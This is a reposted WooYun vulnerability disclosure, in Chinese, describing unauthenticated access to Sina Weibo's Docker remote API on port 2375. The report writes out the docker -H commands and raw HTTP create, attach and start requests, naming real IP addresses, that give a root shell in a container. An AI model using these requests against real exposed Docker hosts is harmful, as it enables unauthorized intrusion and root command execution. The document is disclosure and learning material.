新浪微博docker remote API未授权访问导致远程命令执行(root)

admin 2017年5月2日17:47:04评论788 views字数 237阅读0分47秒阅读模式
摘要

2016-05-17: 细节已通知厂商并且等待厂商处理中
2016-05-17: 厂商已查看当前漏洞内容,细节仅向厂商公开
2016-05-17: 厂商已经主动忽略漏洞,细节向公众公开

漏洞概要 关注数(64) 关注此漏洞

缺陷编号: WooYun-2016-209856

漏洞标题: 新浪微博docker remote API未授权访问导致远程命令执行(root)

相关厂商: 新浪微博

漏洞作者: lijiejie新浪微博docker remote API未授权访问导致远程命令执行(root)

提交时间: 2016-05-17 20:55

公开时间: 2016-05-17 21:07

漏洞类型: 网络未授权访问

危害等级: 高

自评Rank: 15

漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 无

46人收藏


漏洞详情

披露状态:

2016-05-17: 细节已通知厂商并且等待厂商处理中
2016-05-17: 厂商已查看当前漏洞内容,细节仅向厂商公开
2016-05-17: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

新浪微博两个IP docker remote API未授权访问导致远程命令执行,root权限。 因为docker版本太低,临时用burp发出几个http请求调用api,实现了远程命令执行。本篇还介绍了直接获取交互式shell的方法。

详细说明:

code 区域
http://123.125.105.158:2375/version
http://123.125.105.159:2375/version

"ApiVersion":"1.17",因为版本太低,我的docker client无法使用。我用burp来发包,实现远程执行系统命令,有一点小技巧。

新浪微博docker remote API未授权访问导致远程命令执行(root)

漏洞证明:

安装docker client:

code 区域
https://www.docker.com/products/docker-toolbox

以百度的那个IP为例,要获取交互式shell,首先获取images:

code 区域
docker -H tcp://180.76.161.55:2375 images
code 区域
docker -H tcp://180.76.161.55:2375 run -it --entrypoint /bin/bash ubuntu "-h"

这里我设置了entrypoint为/bin/bash。shell到手了,如下图:

新浪微博docker remote API未授权访问导致远程命令执行(root)

好了,继续看微博的机器,因为api的版本太低了,client无法直接使用。

一开始我执行命令的时候发现总不成功,查看container的时候才发现原来默认的Entrypoint是/usr/local/sinasrv2/sbin/nginx。不过创建容器的时候可以overwrite,创建一个容器:

code 区域
POST /v1.17/containers/create HTTP/1.1
Host: 123.125.105.158:2375
User-Agent: Docker-Client/1.7.0 (windows)
Content-Length: 1082
Content-Type: application/json
Accept-Encoding: gzip

{"Hostname":"","Domainname":"","User":"","AttachStdin":true,"AttachStdout":true,"AttachStderr":true,"ExposedPorts":{},"PublishService":"","Tty":true,"OpenStdin":true,"StdinOnce":true,"Env":[],"Cmd":["-h"],"Image":"registry.intra.weibo.com/weibo_blogarticle/tfs-nginx:20150625","Volumes":{},"VolumeDriver":"","WorkingDir":"","Entrypoint":["/bin/bash","-c"],"NetworkDisabled":false,"MacAddress":"","OnBuild":null,"Labels":{},"HostConfig":{"Binds":null,"ContainerIDFile":"","LxcConf":[],"Memory":0,"MemorySwap":0,"CpuShares":0,"CpuPeriod":0,"CpusetCpus":"","CpusetMems":"","CpuQuota":0,"BlkioWeight":0,"OomKillDisable":false,"MemorySwappiness":-1,"Privileged":false,"PortBindings":{},"Links":null,"PublishAllPorts":false,"Dns":null,"DnsSearch":null,"ExtraHosts":null,"VolumesFrom":null,"Devices":[],"NetworkMode":"","IpcMode":"","PidMode":"","UTSMode":"","CapAdd":null,"CapDrop":null,"GroupAdd":null,"RestartPolicy":{"Name":"no","MaximumRetryCount":0},"SecurityOpt":null,"ReadonlyRootfs":false,"Ulimits":null,"LogConfig":{"Type":"","Config":{}},"CgroupParent":"","ConsoleSize":[42,80]}}

找到Id,如图:

新浪微博docker remote API未授权访问导致远程命令执行(root)

然后可以获取container的信息检查一下是否有问题,这一步可以略过:

code 区域
http://123.125.105.158:2375/v1.17/containers/bcd44e3731cc11cd0afe93445fd2e8ee9b0a34e7c39018920320b88fa6acd57b/json

接下来有两个http request,顺序非常重要,一定是要先attach,再start,这样就可以捕获到输出:

code 区域
POST /v1.17/containers/bcd44e3731cc11cd0afe93445fd2e8ee9b0a34e7c39018920320b88fa6acd57b/attach?stderr=1&stdin=1&stdout=1&stream=1 HTTP/1.1
Host: 123.125.105.158:2375
User-Agent: Docker-Client/1.7.0 (windows)
Content-Length: 0
Content-Type: application/json
Accept-Encoding: gzip
code 区域
POST /v1.17/containers/bcd44e3731cc11cd0afe93445fd2e8ee9b0a34e7c39018920320b88fa6acd57b/start HTTP/1.1
Host: 123.125.105.158:2375
User-Agent: Docker-Client/1.7.0 (windows)
Content-Length: 0
Content-Type: application/json
Accept-Encoding: gzip

如图,我在微博的container中执行命令,可以知道当前用户root,hostname是bcd44e3731cc,pwd是app。

新浪微博docker remote API未授权访问导致远程命令执行(root)

修复方案:

2375端口不要对外

版权声明:转载请注明来源 lijiejie@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2016-05-17 21:07

厂商回复:

漏洞提交前已修复,故忽略。

漏洞Rank:15 (WooYun评价)

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2016-05-17 21:14 | 黑客,绝对是黑客 ( 实习白帽子 | Rank:86 漏洞数:6 | 黑客,绝对是黑客)

    0

    翻了翻,其实这个在我ip列表里,然而我眼花没有看到~

  2. 2016-05-17 21:19 | lijiejie 新浪微博docker remote API未授权访问导致远程命令执行(root) ( 核心白帽子 | Rank:2527 漏洞数:325 | Just for fun.)

    0

    @黑客,绝对是黑客 赞啊,也要感谢你到wooyun分享漏洞!

  3. 2016-05-17 21:54 | 丶n ( 普通白帽子 | Rank:102 漏洞数:27 | 求组织)

    0

    学习了ing

  4. 2016-05-17 22:16 | 疯狗 新浪微博docker remote API未授权访问导致远程命令执行(root) ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    0

    给李姐姐补个rank,又能吃顿小龙虾

  5. 2016-05-17 22:29 | 老实先生 ( 普通白帽子 | Rank:228 漏洞数:75 | 专业承揽工程刮大白,外墙涂料,外墙保温,...)

    0

    天书一般

  6. 2016-05-17 22:30 | 随风的风 ( 普通白帽子 | Rank:259 漏洞数:96 | 微信公众号:233sec 不定期分享各种漏洞思...)

    0

    @疯狗 小连没跟他一起吃,李姐姐不开心了。。。

  7. 2016-05-17 22:44 | lijiejie 新浪微博docker remote API未授权访问导致远程命令执行(root) ( 核心白帽子 | Rank:2527 漏洞数:325 | Just for fun.)

    0

    @疯狗 赞狗哥,又可以开心地去吃小龙虾了~ 哈哈

  8. 2016-05-17 23:07 | Mel0d6y ( 实习白帽子 | Rank:77 漏洞数:15 | 迷失在未来的旅行者. 「H...)

    0

    跟着李姐姐师傅有肉吃

  9. 2016-05-18 00:43 | timor ( 路人 | Rank:20 漏洞数:6 | OnePiece)

    0

    为什么这个漏洞公布的这么快....

  10. 2016-05-18 01:17 | 乐乐、 ( 普通白帽子 | Rank:878 漏洞数:190 )

    0

    这两个月新姿势太多了

  11. 2016-05-18 09:15 | 放开那个大婶 ( 路人 | Rank:16 漏洞数:6 | 好好学习,天天向上)

    0

    活学活用 可以的

  12. 2016-05-18 09:24 | 风格 ( 实习白帽子 | Rank:37 漏洞数:12 | 注册为白帽子,你可以在这里提交你发现的漏...)

    0

    666~昨天刚看drop今天就有新鲜的洞可以看

  13. 2016-05-18 17:46 | Mark ( 实习白帽子 | Rank:68 漏洞数:13 | You deserve more)

    0

    @lijiejie如何确定是新浪微博ip的?

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin